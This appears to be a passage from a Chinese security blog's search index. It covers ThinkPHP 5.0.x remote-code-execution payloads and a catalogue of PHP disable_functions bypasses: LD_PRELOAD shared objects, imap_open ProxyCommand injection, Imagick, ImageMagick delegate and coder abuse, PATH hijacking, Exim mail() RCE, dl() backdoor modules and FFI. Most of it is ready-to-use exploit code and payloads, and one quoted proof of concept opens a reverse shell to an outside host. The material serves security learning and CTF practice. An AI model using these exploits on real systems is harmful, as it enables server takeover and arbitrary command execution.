在tp5.0.8之前,如果前面不覆盖$method的值为get,那么这里就会变为:self::$rules['__construct'],就会直接报错 tp5.0.8之前: $rules = self::$rules[$method]; tp5.0.8之后: 所以tp5.0.8到tp5.0.12的payload都可以为: POST / _method=__construct\u0026filter=system\u0026get[]=whoami _method=__construct\u0026filter=system\u0026leon=whoami 在tp5.0.13及以后版本中,thinkphp/library/think/App.php中的module()多了一行过滤: // 设置默认过滤机制 $request-\u003efilter($config['default_filter']); 这也是为什么上面的exp只适用与tp5.0.8到tp5.0.12的原因,我们直接对public/index.php访问默认调用的模块名/控制器名/操作名是/index/index/index,默认对应的$dispatch['type']为module,跟进到后面会进入thinkphp\\library\\think\\App.php的exec方法,这里有switch ($dispatch['type'])选择调用对应的方法: 继续跟进,进入到module(),关键在self::invokeMethod($call, $vars);,跟进到invokeMethod方法后继续调用了self::bindParams($reflect, $vars); 继续跟进到Request类的param方法,用于获取当前请求的参数,可以看到又调用了method()获取当前请求方法 继续跟进,获取参数后会调用array_merge($this-\u003eget(false), $vars, $this-\u003eroute(false));对get[],route[],$_POST获取的参数进行合并,那么可以变量覆盖传参,也可以直接POST传参 所以_method=__construct\u0026filter=system\u0026leon=whoami也可以 然后调用input方法,之前的分析已经知道该方法会调用filterValue的回调函数进行命令执行了 这是tp5.0.12以及之前版本的分析 到了tp5.0.13以后,前面说了module方法中添加了过滤$request-\u003efilter($config['default_filter']); 再次将$filter覆盖掉,链子就断掉了 所以要想办法绕过module方法,在调试中发现: 如果开启了debug模式,在执行thinkphp\\lib","date":"2021-02-01","objectID":"/thinkphp%E5%AE%A1%E8%AE%A1%E5%85%A5%E9%97%A8/:4:0","tags":["code_audit","ThinkPHP","RCE","LFI","SQL注入"],"title":"ThinkPHP审计入门","uri":"/thinkphp%E5%AE%A1%E8%AE%A1%E5%85%A5%E9%97%A8/"},{"categories":["Notes"],"content":"小结 tp5.0.0到tp5.0.12: POST / HTTP/1.1 _method=__construct\u0026filter=system\u0026method=GET\u0026leon=whoami #leon可以替换成get[]、route[]等 tp5.0.13到tp5.0.23:有第三方类库如captcha POST /?s=captcha HTTP/1.1 _method=__construct\u0026filter=system\u0026method=get\u0026get[]=whoami get[]可以换成route[] tp5.0.13到tp5.0.23:开启了debug模式 POST / HTTP/1.1 _method=__construct\u0026filter=system\u0026get[]=whoami get[]可以替换成route[] ","date":"2021-02-01","objectID":"/thinkphp%E5%AE%A1%E8%AE%A1%E5%85%A5%E9%97%A8/:4:1","tags":["code_audit","ThinkPHP","RCE","LFI","SQL注入"],"title":"ThinkPHP审计入门","uri":"/thinkphp%E5%AE%A1%E8%AE%A1%E5%85%A5%E9%97%A8/"},{"categories":["Notes"],"content":"花了点时间,总结了一下遇到的所有能够Bypass disable_function的方法,持续更新ing ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:0:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"LD_PRELOAD ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:1:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"劫持函数 LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。 思路 php 启动新进程 xxx,xxx内部调用系统函数 a(),a() 位于系统共享对象 a.so 中,所以系统为该进程加载a.so,如果在 a.so 前优先加载可控的 evil.so,evil.so 内含与 a() 同名的恶意函数,由于 evil.so 优先级较高,所以,xxx 将调用到 evil.so 内的 a() 函数,而非系统的 a.so 内的 a()函数,evil.so 为用户可控,达到执行恶意代码的目的。 如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过 LD_PRELOAD 来设置它优先加载我们自己编写的程序,实现劫持,前提是我得控制 php 启动外部程序(调用execve fock子进程)才行(只要有进程启动行为即可,无所谓是谁,因为新进程启动将重新LD_PRELOAD) 常见的PHP利用函数有mail()、error_log(),这两个函数为PHP自带,不需要安装其他扩展。 mail() strace -f php ld_preload.php 2\u003e\u00261 | grep execve #查看执行该php文件时所创建的进程 我们可以看到调用mail()函数时,创建了新进程调用系统函数/usr/sbin/sendmail 其实这里除了第一个调用PHP解释器本身之外,还调用了/bin/sh,所以其实劫持/bin/sh调用的系统库函数也可以 当靶机系统上没有安装sendmail时,这里劫持/bin/sh的库函数就是一个突破点 execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。 exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数 execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。 readelf -Ws /usr/sbin/sendmail #查看/usr/sbin/sendmail可能调用的系统库函数 #readelf -Ws /bin/sh 这里随便选一个可能调用的函数进行劫持,比如getuid: 编写exp.c: #include \u003cstdlib.h\u003e#include \u003cstdio.h\u003e#include \u003cstring.h\u003evoid payload() { system(\"ls \u003e /tmp/leon\"); } int getuid() { if (getenv(\"LD_PRELOAD\") == NULL) { return 0; } unsetenv(\"LD_PRELOAD\"); payload(); } 编译成so文件:(这里注意编译的环境要与靶机相近) gcc -c -fPIC exp.c -o hack \u0026\u0026 gcc --share hack -o exp.so #如果想创建一个动态链接库,可以使用 GCC 的-shared选项。输入文件可以是源文件、汇编文件或者目标文件。 #另外还得结合-fPIC选项。-fPIC 选项作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。 编写test.php: \u003c?php putenv(\"LD_PRELOAD=./exp.so\"); mail(\"\",\"\",\"\",\"\",\"\"); ?\u003e 执行test.php发现成功执行用户预定命令: 劫持库函数时尽量找函数原型简单且常被调用的系统库函数,如getuid()、getpid()等 换一个没有安装sendmail的环境: 同样的,readelf -Ws /bin/sh也调用了库函数getuid(),相同的步骤劫持也成功执行命令: error_log() 一样的调用了/bin/sh、/usr/sbin/sendmail,与mail()类似 mb_send_mail() 需要安装mbstring模块,利用与mail()类似 imap_mail() 需要安装imap模块,利用与mail()类似 除此之外还有libvirt模块的libvirt_connect()函数和gnupg模块的gnupg_init()函数,基本利用方式都是一样的,不做过多描述 ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:1:1","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"非劫持函数 __attribute__介绍 __attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute) __attribute__语法格式为:__attribute__ ((attribute-list)) 若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动执行 类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后自动执行 类似构造与析构函数 若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数,所以无需考虑劫持某一函数,只要能ld_preload并执行php调用新进程,就能劫持共享对象从而bypass disable function 简单的exp: #define _GNU_SOURCE #include \u003cstdlib.h\u003e#include \u003cunistd.h\u003e#include \u003csys/types.h\u003e __attribute__ ((__constructor__)) void preload (void){ unsetenv(\"LD_PRELOAD\"); system(\"whoami \u003e /tmp/leon\"); } 但是unsetenv()可能在Centos上无效,因为Centos自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD就又被劫持,导致无限循环,可以使用全局变量 extern char** environ删除,实际上,unsetenv() 就是对 environ 的简单封装实现的环境变量删除功能 在https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.c看到了一个小技巧: #define _GNU_SOURCE #include \u003cstdlib.h\u003e#include \u003cstdio.h\u003e#include \u003cstring.h\u003e extern char** environ; __attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv(\"EVIL_CMDLINE\"); // unset environment variable LD_PRELOAD. // unsetenv(\"LD_PRELOAD\") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], \"LD_PRELOAD\")) { environ[i][0] = '\\0'; } } // executive command system(cmdline); } 使用for循环修改LD_PRELOAD的首个字符改成\\0,\\0是C语言字符串结束标记,这样可以让系统原有的LD_PRELOAD环境变量自动失效 利用 前提条件也是需要php启动子进程,只是不需要劫持特定的库函数了,修改exp如下: #define _GNU_SOURCE #include \u003cstdlib.h\u003e#include \u003cstdio.h\u003e#include \u003cstring.h\u003e extern char** environ; __attribute__ ((__constructor__)) void preload (void) { const char* cmdline = \"whoami \u003e /tmp/leon\"; int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], \"LD_PRELOAD\")) { environ[i][0] = '\\0'; } } system(cmdline); } 编译: gcc -c -fPIC exp.c -o hack \u0026\u0026 gcc --share hack -o exp.so 可以看到,执行一次后就停止了 ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:1:2","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"imap_open ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:2:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"参考 PHP :: Sec Bug #76428 :: Command execution through imap_open CVE - CVE-2018-19518 (mitre.org) ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:2:1","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"利用 php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令) 因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞 注意:需要php.ini中imap.enable_insecure_rsh= On exp: \u003c?php $payload = \"echo hello|tee /tmp/executed\"; $encoded_payload = base64_encode($payload); $server = \"any -o ProxyCommand=echo\\t\".$encoded_payload.\"|base64\\t-d|bash\"; @imap_open('{'.$server.'}:143/imap}INBOX', '', ''); 因为imap_open使用-oProxyCommand=会调用rsh系统命令,所以同样的可以使用ld_preload来bypass: ld_preload.php: \u003c?php putenv(\"LD_PRELOAD=./exp.so\"); imap_open(\"{any -o ProxyCommand=''}\",\"\",\"\"); ?\u003e ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:2:2","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"Imagick ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:3:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"简介 Imagick is a native php extension to create and modify images using the ImageMagick API. ImageMagick is a software suite to create, edit, and compose bitmap images. It can read, convert and write images in a variety of formats (over 100) including DPX, EXR, GIF, JPEG, JPEG-2000, PDF, PhotoCD, PNG, Postscript, SVG, and TIFF. PHP: Introduction - Manual ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:3:1","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"命令注入 参考链接:Imagick 3.3.0 (PHP 5.4) - disable_functions Bypass - PHP webapps Exploit (exploit-db.com) Imagick \u003c= 3.3.0 PHP \u003e= 5.4 exp: # Exploit Title: PHP Imagick disable_functions Bypass # Date: 2016-05-04 # Exploit Author: RicterZ (ricter@chaitin.com) # Vendor Homepage: https://pecl.php.net/package/imagick # Version: Imagick \u003c= 3.3.0 PHP \u003e= 5.4 # Test on: Ubuntu 12.04 # Exploit: \u003c?php # PHP Imagick disable_functions Bypass # Author: Ricter \u003cricter@chaitin.com\u003e # # $ curl \"127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd\" # \u003cpre\u003e # Disable functions: exec,passthru,shell_exec,system,popen # Run command: cat /etc/passwd # ==================== # root:x:0:0:root:/root:/usr/local/bin/fish # daemon:x:1:1:daemon:/usr/sbin:/bin/sh # bin:x:2:2:bin:/bin:/bin/sh # sys:x:3:3:sys:/dev:/bin/sh # sync:x:4:65534:sync:/bin:/bin/sync # games:x:5:60:games:/usr/games:/bin/sh # ... # \u003c/pre\u003e echo \"Disable functions: \" . ini_get(\"disable_functions\") . \"\\n\"; $command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id'; echo \"Run command: $command\\n====================\\n\"; $data_file = tempnam('/tmp', 'img'); $imagick_file = tempnam('/tmp', 'img'); $exploit = \u003c\u003c\u003cEOFpush graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/image.jpg\"|$command\u003e$data_file\")' pop graphic-context EOF; file_put_contents(\"$imagick_file\", $exploit); $thumb = new Imagick(); $thumb-\u003ereadImage(\"$imagick_file\"); $thumb-\u003ewriteImage(tempnam('/tmp', 'img')); $thumb-\u003eclear(); $thumb-\u003edestroy(); echo file_get_contents($data_file); ?\u003e ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:3:2","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"Ghostscript ImageMagick 在处理一些类型的文件的时候需要依赖外部程序解析 据此在ImageMagick - Formats可以找到相关调用Ghostscript的图片类型: 新版本禁用了一些格式,还剩下eps和ept格式可以使用 生成ept或eps文件: convert 1.png 1.ept convert 1.png 1.eps imagemagick.php: \u003c?php $image = new Imagick('1.ept'); 查看子进程情况: strace -f /www/server/php/56/bin/php imagemagick.php 2\u003e\u00261 | grep execve 因为环境没有gs命令,可以看到尝试去调用了/usr/bin/gs、/usr/sbin/gs、/usr/local/sbin/gs等,fork了新进程,可以利用LD_PRELOAD进行bypass 利用过程与上文类似 ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:3:3","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"FFmpeg 与Ghostscript类似,以下文件格式被ImageMagick 解析时会去调用外部程序: wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp 查看调用子进程情况: 尝试调用ffmpeg,可以利用LD_PRELOAD进行bypass 利用过程类似 ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:3:4","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"MAGICK_CODER_MODULE_PATH Set path where ImageMagick can locate its coder modules. This path permits the user to arbitrarily extend the image formats supported by ImageMagick by adding loadable coder modules from an preferred location rather than copying them into the ImageMagick installation directory. [ImageMagick - Resources](https://www.imagemagick.org/script/resources.php#Environment Variables) MAGICK_CODER_MODULE_PATH在文档中的大概意思是允许用户任意扩展 ImageMagick 支持的图像格式,从首选位置添加可加载的编码器模块 据此我们可以加载自己构造的恶意编码器,绕过disable_function执行可控命令 png.c: #include \u003cunistd.h\u003e#include \u003cstdlib.h\u003e __attribute__((constructor)) static void initialize_navigationBarImages() { char *basedir = getenv(\"BASEDIR\"); char cmd[0x100]; snprintf(cmd, 0x100, \"/readflag\u003e%s/flag\", basedir); system(cmd); } png.la: # png.la - a libtool library file # Generated by libtool (GNU libtool) 2.4.6 Debian-2.4.6-2 # # Please DO NOT delete this file! # It is necessary for linking the library. # The name that we can dlopen(3). dlname='png.so' # Names of this library. library_names='png.so png.so png.so' # The name of the static archive. old_library='' # Linker flags that cannot go in dependency_libs. inherited_linker_flags=' -pthread -fopenmp' # Libraries that this one depends upon. dependency_libs='' # Names of additional weak libraries provided by this library weak_library_names='' # Version information for png. current=0 age=0 revision=0 # Is this an already installed library? installed=yes # Should we warn about portability when linking against -modules? shouldnotlink=yes # Files to dlopen/dlpreopen dlopen='' dlpreopen='' # Directory that this library needs to be installed in: libdir='/tmp/6a1b56cc35a395bc73b6d40410efbf9c' exp.php: \u003c?php $basedir = \"/tmp/6a1b56cc35a395bc73b6d40410efbf9c\"; putenv(\"MAGICK_CODER_MODULE_PATH=\" . $basedir); putenv(\"BASEDIR=\" . $basedir); /* Create Imagick objects */ $Imagick = new Imagick(); /* Create ImagickDraw objects */ $ImagickDraw = new ImagickDraw(); /* Create ImagickPixel objects */ $ImagickPixel = new ImagickPixel(); /* This array contains polygon geometry */ $array = array( array( \"x\" =\u003e 378.1, \"y\" =\u003e 81.72 ), array( \"x\" =\u003e 381.1, \"y\" =\u003e 79.56 ), array( \"x\" =\u003e 384.3, \"y\" =\u003e 78.12 ), array( \"x\" =\u003e 387.6, \"y\" =\u003e 77.33 ), array( \"x\" =\u003e 391.1, \"y\" =\u003e 77.11 ), array( \"x\" =\u003e 394.6, \"y\" =\u003e 77.62 ), array( \"x\" =\u003e 397.8, \"y\" =\u003e 78.77 ), array( \"x\" =\u003e 400.9, \"y\" =\u003e 80.57 ), array( \"x\" =\u003e 403.6, \"y\" =\u003e 83.02 ), array( \"x\" =\u003e 523.9, \"y\" =\u003e 216.8 ), array( \"x\" =\u003e 526.2, \"y\" =\u003e 219.7 ), array( \"x\" =\u003e 527.6, \"y\" =\u003e 223 ), array( \"x\" =\u003e 528.4, \"y\" =\u003e 226.4 ), array( \"x\" =\u003e 528.6, \"y\" =\u003e 229.8 ), array( \"x\" =\u003e 528.0, \"y\" =\u003e 233.3 ), array( \"x\" =\u003e 526.9, \"y\" =\u003e 236.5 ), array( \"x\" =\u003e 525.1, \"y\" =\u003e 239.5 ), array( \"x\" =\u003e 522.6, \"y\" =\u003e 242.2 ), array( \"x\" =\u003e 495.9, \"y\" =\u003e 266.3 ), array( \"x\" =\u003e 493, \"y\" =\u003e 268.5 ), array( \"x\" =\u003e 489.7, \"y\" =\u003e 269.9 ), array( \"x\" =\u003e 486.4, \"y\" =\u003e 270.8 ), array( \"x\" =\u003e 482.9, \"y\" =\u003e 270.9 ), array( \"x\" =\u003e 479.5, \"y\" =\u003e 270.4 ), array( \"x\" =\u003e 476.2, \"y\" =\u003e 269.3 ), array( \"x\" =\u003e 473.2, \"y\" =\u003e 267.5 ), array( \"x\" =\u003e 470.4, \"y\" =\u003e 265 ), array( \"x\" =\u003e 350, \"y\" =\u003e 131.2 ), array( \"x\" =\u003e 347.8, \"y\" =\u003e 128.3 ), array( \"x\" =\u003e 346.4, \"y\" =\u003e 125.1 ), array( \"x\" =\u003e 345.6, \"y\" =\u003e 121.7 ), array( \"x\" =\u003e 345.4, \"y\" =\u003e 118.2 ), array( \"x\" =\u003e 346, \"y\" =\u003e 114.8 ), array( \"x\" =\u003e 347.1, \"y\" =\u003e 111.5 ), array( \"x\" =\u003e 348.9, \"y\" =\u003e 108.5 ), array( \"x\" =\u003e 351.4, \"y\" =\u003e 105.8 ), array( \"x\" =\u003e 378.1, \"y\" =\u003e 81.72 ), ); /* This ImagickPixel is used to set background color */ $ImagickPixel-\u003esetColor( 'gray' ); /* Create new image, set color to gray and format to png*/ $Imagick-\u003enewImage( 700, 500, $ImagickPixel ); $Imagick-\u003esetImageFormat( 'png' ); /* Create the polygon*/ $ImagickDraw-\u003epolygon( $array ); /* Render the polygon to image*/ $Imagick-\u003edrawImage( $ImagickDraw ); /* Send headers and output the image */ header( \"Content-Type: image/{$Imagick-\u003egetImageFormat()}\" ); #echo $Imagick-\u003egetImageBlob( ); echo \"Done.\\n\"; ?\u003e 将png.c编译成png.so,执行exp.php: ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:3:5","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"MAGICK_CONFIGURE_PATH Set path where ImageMagick can locate its configuration files. Use this search path to search for configuration (.xml) files. delegates.xml: Associate delegate programs with certain image formats. ImageMagick relies on a number of delegate programs to support certain image formats such as ufraw-batch to read raw camera formats or Ghostscript to read Postscript images. Use this configuration file to map an input or output format to an external delegate program. 官方文档中描述MAGICK_CONFIGURE_PATH为配置文件的路径,使用此搜索路径搜索配置(.xml)文件,那么结合putenv 我们就可以控制ImageMagick的配置 又发现delegates.xml这个文件,定义了ImageMagick处理各种文件类型的规则和执行的系统命令 所以我们可以伪造一个delegates.xml,并配置搜索路径,ImageMagick解析对应格式时就会执行我们构造的恶意命令 delegates.xml: 找到正常情况下解析EPT文件时的相关配置: \u003cdelegatemap\u003e \u003cdelegate decode=\"ps:alpha\" stealth=\"True\" command=\"\u0026quot;gs\u0026quot; -sstdout=%%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 \u0026quot;-sDEVICE=pngalpha\u0026quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u \u0026quot;-r%s\u0026quot; %s \u0026quot;-sOutputFile=%s\u0026quot; \u0026quot;-f%s\u0026quot; \u0026quot;-f%s\u0026quot;\"/\u003e \u003c/delegatemap\u003e 修改为自定义命令: \u003cdelegatemap\u003e \u003cdelegate decode=\"ps:alpha\" command=\"sh -c \u0026quot;echo 'MAGICK_CONFIGURE_PATH' \u003e /tmp/leon\u0026quot;\"/\u003e \u003c/delegatemap\u003e configure.php: \u003c?php putenv('MAGICK_CONFIGURE_PATH=/tmp/'); $img = new Imagick('/tmp/1.ept'); 可以看到成功执行了delegates.xml中自定义的命令 ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:3:6","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"覆盖PATH 前面我们知道,ImageMagick在解析特定格式文件的时候会调用外部程序,如Ghostscript和FFmpeg,还有mail()、error_log()等函数会调用sendmail,在环境允许的情况下可以覆盖环境变量PATH,执行我们生成的可执行文件 以EPT文件为例,会调用gs,我们可以伪造一个恶意gs gs.c: #include \u003cstdlib.h\u003e#include \u003cstring.h\u003eint main() { unsetenv(\"PATH\"); const char* cmd = \"echo 'cover path' \u003e /tmp/leon\"; system(cmd); return 0; } 生成可执行文件: gcc gs.c -o gs gs.php: \u003c?php putenv('PATH=/tmp'); chmod('/tmp/gs','0777'); $img = new Imagick('/tmp/1.ept'); ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:4:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"Exim4 -be Run Exim in expansion testing mode. Exim discards its root privilege, to prevent ordinary users from using this mode to read otherwise inaccessible files. If no arguments are given, Exim runs interactively, prompting for lines of data. Otherwise, it processes each argument in turn. exim的-be参数支持运行扩展模式,具体用法参考:String expansions (exim.org) 其中可以利用的有: ${run{\u003ccommand\u003e \u003cargs\u003e}{\u003cstring1\u003e}{\u003cstring2\u003e}} //执行命令\u003ccommand\u003e \u003cargs\u003e,成功返回string1,失败返回string2 ${substr{\u003cstring1\u003e}{\u003cstring2\u003e}{\u003cstring3\u003e}} //字符串的截取,在string3中从string1开始截取string2个字符 ${readfile{\u003cfile name\u003e}{\u003ceol string\u003e}} //读文件file name,以eol string分割 ${readsocket{\u003cname\u003e}{\u003crequest\u003e}{\u003ctimeout\u003e}{\u003ceol string\u003e}{\u003cfail string\u003e}} //发送socket消息,消息内容为request 这种方式年代久远,而且需要特定环境,不大可能遇到,就不找环境复现了,给出两个exp: Exim_mail_bypass_disable_function - l3m0n \u003c?php $c = @$_GET['lemon']; $result_file = \"/tmp/test.txt\"; $tmp_file = '/tmp/aaaaaaaaaaa.sh'; $command = $c . '\u003e' . $result_file; file_put_contents($tmp_file, $command); $payload = \"-be \\${run{/bin/bash\\${substr{10}{1}{\\$tod_log}}/tmp/aaaaaaaaaaa.sh}{ok}{error}}\"; mail(\"a@localhost\", \"\", \"\", \"\", $payload); echo file_get_contents($result_file); @unlink($tmp_file); @unlink($result_file); ?\u003e ExploitBox.io - Pwning-PHP-Mail-Function-For-Fun-And-RCE \u003c?php // RCE via mail() vector on Exim4 MTA // Attacker's cmd is passed on STDIN by mail() within $body // Discovered by: // Dawid Golunski - @dawid_golunski - https://legalhackers.com $sender = \"attacker@anyhost -be\"; $body = 'Exec: ${run{/bin/bash -c \"bash -i \u003e\u0026 /dev/tcp/threadhunter.org/80 0\u003e\u00261\"}{yes}{no}}'; // ^ unfiltered vars, coming from attacker via GET, POST etc. $to = \"john@localhost\"; $subject = \"Exim RCE PoC\"; $headers = \"From: mike@localhost\"; mail($to,$subject,$body,$headers, \"-f $sender\"); ?\u003e ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:5:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"dl dl()函数允许在php脚本里动态加载php模块,默认是加载extension_dir目录里的扩展,当php.ini中enable_dl为On时,支持动态加载so,可以使用目录穿越的方式加载任意目录的恶意so模块 This function was removed from most SAPIs in PHP 5.3.0, and was removed from PHP-FPM in PHP 7.0.0. 具体php自定义模块编写方法可以参考:手把手教你编写一个简单的PHP模块形态的后门 - h2z 主要功能函数为: PHP_FUNCTION(shell) { char *command; int command_len; if (ZEND_NUM_ARGS() != 1 || zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,\"s\", \u0026command, \u0026command_len) == FAILURE) { WRONG_PARAM_COUNT; } system(command); zend_printf(\"I recieve %s\",command); } dl.php: \u003c?php dl('../../../../../../../../../tmp/shell.so'); $cmd=$_GET[a].\" 2\u003e\u00261\u003etmp.txt\"; shell($cmd); echo file_get_contents('tmp.txt'); ?\u003e 或者使用蚁剑项目写好的ant.c自己编译一下:AntSwordProject/ant_php_extension 或者:FuckFastcgi/ext_example/system at master · w181496/FuckFastcgi ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:6:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"FFI FFI (Foreign Function Interface) This extension allows the loading of shared libraries ( or ), calling of C functions and accessing of C data structures in pure PHP, without having to have deep knowledge of the Zend extension API, and without having to learn a third “intermediate” language. FFI是PHP7.4(PHP 7 \u003e= 7.4.0)新增加的特性,相当于外部函数接口,此扩展允许在PHP中加载共享库或调用C函数以及访问C数据结构 所以我们可以通过php代码调用C的system函数,绕过disable_function 先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可 需要用到FFI::cdef,有两个参数: code A string containing a sequence of declarations in regular C language (types, structures, functions, variables, etc). Actually, this string may be copy-pasted from C header files. lib The name of a shared library file, to be loaded and linked with the definitions. 第一个参数为需要声明的C代码,第二个参数为指定共享库,如果省略,会默认全局搜索(If lib is omitted, platforms supporting RTLD_DEFAULT attempt to lookup symbols declared in code in the normal global scope.) 需在php.ini中开启ffi.enable=true,默认为ffi.enable=preload ffi.php: \u003c?php $ffi = FFI::cdef(\"int system(const char *command);\"); $ffi-\u003esystem(\"whoami \u003e /tmp/123\"); echo file_get_contents(\"/tmp/123\"); @unlink(\"/tmp/123\"); ?\u003e ","date":"2021-01-29","objectID":"/bypass-disable_function-php/:7:0","tags":["RCE","UAF","Bypass"],"title":"Bypass Disable_function (PHP)","uri":"/bypass-disable_function-php/"},{"categories":["Notes"],"content":"TCTF2020-noeasyphp 这题在根目录给了flag.c和flag.so,PHP版本为7.4.7,开启了FFI 但是禁用了cdef,也不知道flag.c中输出flag的函数名,没法直接调用 需要利用FFI进行内存泄露 一叶飘零师傅的exp: import requests url = \"http://pwnable.org:19261\"params = {\"rh\":''' try { $ffi=FFI::load(\"/flag.h\"); //get flag //$a = $ffi-\u003eflag_wAt3_uP_apA3H1(); //for($i = 0; $i \u003c 128; $i++){ echo $a[$i]; //} $a = $ffi-\u003enew(\"char[8]\", false); $a[0] = 'f'; $a[1] = 'l'; $a[2] = 'a'; $a[3] = 'g'; $a[4] = 'f'; $a[5] = 'l'; $a[6] = 'a'; $a[7] = 'g'; $b = $ffi-\u003enew(\"char[8]\", false); $b[0] = 'f'; $b[1] = 'l'; $b[2] = 'a'; $b[3] = 'g'; $newa = $ffi-\u003ecast(\"void*\", $a); var_dump($newa); $newb = $ffi-\u003ecast(\"void*\", $b); var_dump($newb); $addr_of_a = FFI::new(\"unsigned long long\"); FFI::memcpy($addr_of_a, FFI::addr($newa), 8); var_dump($addr_of_a); $leak = FFI::new(FFI::arrayType($ffi-\u003etype('char'), [102400]), false); FFI::memcpy($leak, $newa-0x20000, 102400); $tmp = FFI::string($leak,102400); var_dump($tmp); //var_dump($leak); //$leak[0] = 0xdeadbeef; //$leak[1] = 0x61616161; //var_dump($a); //FFI::memcpy($newa-0x8, $leak, 128*8); //var_dump($a); //var_dump(777); } catch (FFI\\Exception $ex) { echo $ex-\u003egetMessage(), PHP_EOL; } var_dump(1); '''} res = requests.get(url=url,params=params) print((res.text).encode(\"utf-8\")) 然后读flag: \u003c?php $ffi=FFI::load(\"/flag.h\"); $a = FFI::string($ffi-\u003eflag_wAt3_uP_apA3H1()); var_dump($a); 